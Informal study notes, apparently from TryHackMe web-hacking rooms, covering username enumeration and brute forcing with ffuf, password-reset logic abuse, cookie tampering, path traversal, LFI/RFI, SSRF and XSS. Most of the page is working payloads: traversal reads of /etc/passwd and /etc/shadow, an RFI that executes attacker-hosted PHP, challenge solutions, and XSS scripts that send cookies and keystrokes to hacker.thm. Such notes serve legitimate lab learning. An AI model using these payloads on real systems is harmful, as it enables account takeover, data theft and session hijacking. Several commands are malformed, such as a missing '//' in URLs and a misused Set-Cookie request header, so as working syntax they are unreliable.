Username enumeration with ffuf#

  • listing all the available usernames of the website.
  • FUZZ keyword in the data, is being replaced by usernames in the wordlist
 ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"
  • brute forcing the login with avaiable usernames, assumed output from above pasted into valid_usernames.txt
  • her we have two wordlist, so we have given them our own FUZZ keyword
ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10k-most-common.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.48.174.24/customers/login -fc 200

Taking Advantage of flaw in application logic#

  • We know the parameters can be sent using either query in url, or in the payload.
  • In a given scenario of task, application prefers the parameter in payload than in the query
  • So, we know supposed to get this worked out to fake
  • i have created my own account with, username:silent, email:silent@customer.acmeitsupport.thm, password:silent
  • Assuming im attacking the user: robor now
curl 'http://10.48.174.24/customers/reset?email=robert%40=acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'
  • Now overiding the query paramerter with payload
curl 'http://10.48.174.24/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=silent@customer.acmeitsupport.thm'
  • NOw you will have a direct link on your email to reset the password of robert
  • we can do a little impersonization with the cookie tampering, steal others cookies and use them.
curl http:10.48.174.24/cookie-test #Not logged
curl -H "Set-Cookie: logged_in=true; admin=false" http:10.48.174.24/cookie-test #Loggedin as user
curl -H "Set-Cookie: logged_in=true; admin=true" http:10.48.174.24/cookie-test #Loggedin as the admn
  • sometimes cookies can be in form of the hashes like md5sum,sha256,sha512,sha1. These can be somehow (sometimes) cracked with http://crackstation.net
  • Also, cookies also can be in encoded form like base64, use base64 --decode command to decode

File inclusion (LFI, RFI, Path traversal)#

  • The main issue of these vulnerabilities is the input validation, in which the user inputs are not sanitized or validated, and the user controls them. When the input is not validated, the user can pass any input to the function, causing the vulnerability.
  • This can leak data, such as code, credentials or other important files related to the web application or operating system, also leads to gain RCE if attacker has capability to write to server by any other means

Path Traversal:#

  • This occur when the user’s input is passed to a function such as file_get_contents in PHP due to Often poor input validation or filtering is the cause of the vulnerability.
curl http://webapp.thm/get.php?file=../../../../etc/passwd # in linux
curl http://webapp.thm/get.php?file=../../../../boot.ini # in windows
curl http://webapp.thm/get.php?file=../../../../boot.ini # in windows

# /etc/shadow --> contains systems's user passwords
# /etc/profile --> controls system wide default varibles such as Export variables, File creation mask, terminal types, Mail messages to indicate new mail has arrived
# /proc/version --> kernal version
# /root/.bash_history --> contains root's history commands
# /var/mail/root --> all root's mails
# /etc/issue --> contains messages to be printed before the login prompt

Local File Inclusion (LFI):#

  • With PHP, using functions such as include, require, include_once, and require_once often contribute to vulnerable web applications.
curl http://webapp.thm/index.php?lang=../../../../etc/passwd

# Using null bytes is an injection technique where URL-encoded representation such as %00 or 0x00 in hex with user-supplied data to terminate strings. You could think of it as trying to trick the web app into disregarding whatever comes after the Null Byte
curl http://webapp.thm/index.php?lang=/etc/passwd%00

#developer decided to filter keywords to avoid disclosing sensitive information! Now we have this trick to bypass
curl http://webapp.thm/index.php?lang= /etc/passwd/.

Remote File Inclusion - RFI#

  • RFI is a technique to include remote files into a vulnerable application
  • One requirement for RFI is that the allow_url_fopen option needs to be on.
  • An external server must communicate with the application server for a successful RFI attack where the attacker hosts malicious files on their server. Then the malicious file is injected into the include function via HTTP requests, and the content of the malicious file executes on the vulnerable application server.
cat << EOF > cmd.php
>> <?PHP print exec('hostname'); ?>
>> EOF  
python3 -m http.server 4444 &
curl http://local_ip:4444/cmd.php
  • Now we have the script loacted at the remote server, lets see the action now
# it will run the remote script in the webserver, and returen the output back on browser
curl http://webapp.thm/index.php?lang=http://local_ip:4444/cmd.php

solutions to the challanges#

  • challange1:
curl -X POST -d 'file=/etc/flag1' http://10.49.163.168/challenges/chall1.php
  • challange2:
curl --cookies THM=/etc/flag2%00 http://10.49.163.168/challenges/chall2.php
  • challange3:
curl -X POST -d 'file=../../../../etc/flag3%00' http://10.49.163.168/challenges/chall3.php

Server-Side Request Forgery (SSRF)#

  • A vulnerability that allows a malicious user to cause the webserver to make an additional or edited HTTP request to the resource of the attacker’s choosing.
  • Two types of SSRF vulnerability; the first is a regular SSRF where data is returned to the attacker’s screen. The second is a Blind SSRF vulnerability where an SSRF occurs, but no information is returned to the attacker’s screen.
  • Identifying this vulnerability:
#When a full URL is used in a parameter in the address bar:
curl https://website/form?server=http://server.website.thm/store
#A partial URL such as just the hostname:
curl https://website.thm/form?server=api
#Or perhaps only the path of the URL:
https://website.thm/form?dst=/forms/contact
#or probebly hidden inside of form, inspect the html content of form

Cross-site scripting (XSS)#

  • XSS in the cybersecurity community, is classified as an injection attack where malicious JavaScript (payload) gets injected into a web application with the intention of being executed by other users.
  • This is the simplest of payloads, to create an alert box to pop up on the page with a string of text, for example: <script>alert('XSS');</script>
  • Session stealing: User’s session such as login tokens, are often kept in cookies on the target machines. Below java script takes the target’s cookie, encodes it with base64 for successful transmission and posts it to a website under the hacker’s control to be logged.
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
  • Key logger: Anything you type on webpage will be forwarded to website under the hacker’s control
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>
  • Bussiness logic: this payload would be calling a particular network resource or a javascript function. Lets say fuction changing the user’s email address called user.changeEmail().
<script>user.changeEmail('attacker@hacker.thm');</script>

Reflected XSS#

  • Reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any validation.
  • A website where if you enter incorrect input, an error message is displayed. The content of the error message gets taken from the error parameter in the query string and is built directly into the page source.

Stored XSS#

  • As the name infers, the XSS payload is stored on the web application (in a database, for example) and then gets run when other users visit the site or web page.

DOM BAsed XSS#

  • DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content.
  • A web page is a document, and this document can be either displayed in the browser window or as the HTML source.
  • DOM Based XSS is where the JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code. Execution occurs when the website JavaScript code acts on input or user interaction.
  • Perfecting the payload
# escaping the tags
<h2> THM </h2>
<h2><script>alert('THM')</script></h2>

# To escape the input tag, we can make use of ">. You can do this with the following payload:
<h2> <input value="THM"></h2>
<h2> <input value=""><script>alert('THM');</script>"></h2>

# To escape the textarea tag a little differently from the input one by using the following payload: 
<h2> <textarea>THM</textarea></h2>
<h2> <textarea></textarea><script>alert('THM');</script></textarea></h2>

# To escape the existing JavaScript command, so you're able to run your code; you can do this with the following payload 
document.getElementByClassName('name')[0].innerHTML = 'THM';
document.getElementByClassName('name')[0].innerHTML = '';alert('THM');//';

# When word script  gets removed from your payload, that's because there is a filter that strips out any potentially dangerous words. When a word gets removed from a string, there's a helpful trick that you can try. 
<sscriptcript>alert('THM');</sscriptcript> --> <script>alert('THM');</script>
 
# To escape from the image tag
<img src="/images/cat.jpg" >
<img src="/images/cat.jpg" onload="alert('THM'); "> 

# An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one. You could have used the below polyglot on all six levels you've just completed, and it would have executed the code successfully. 

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
  • Blind XSS (Example): Insert below script into any of website and steal the cookies
</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script>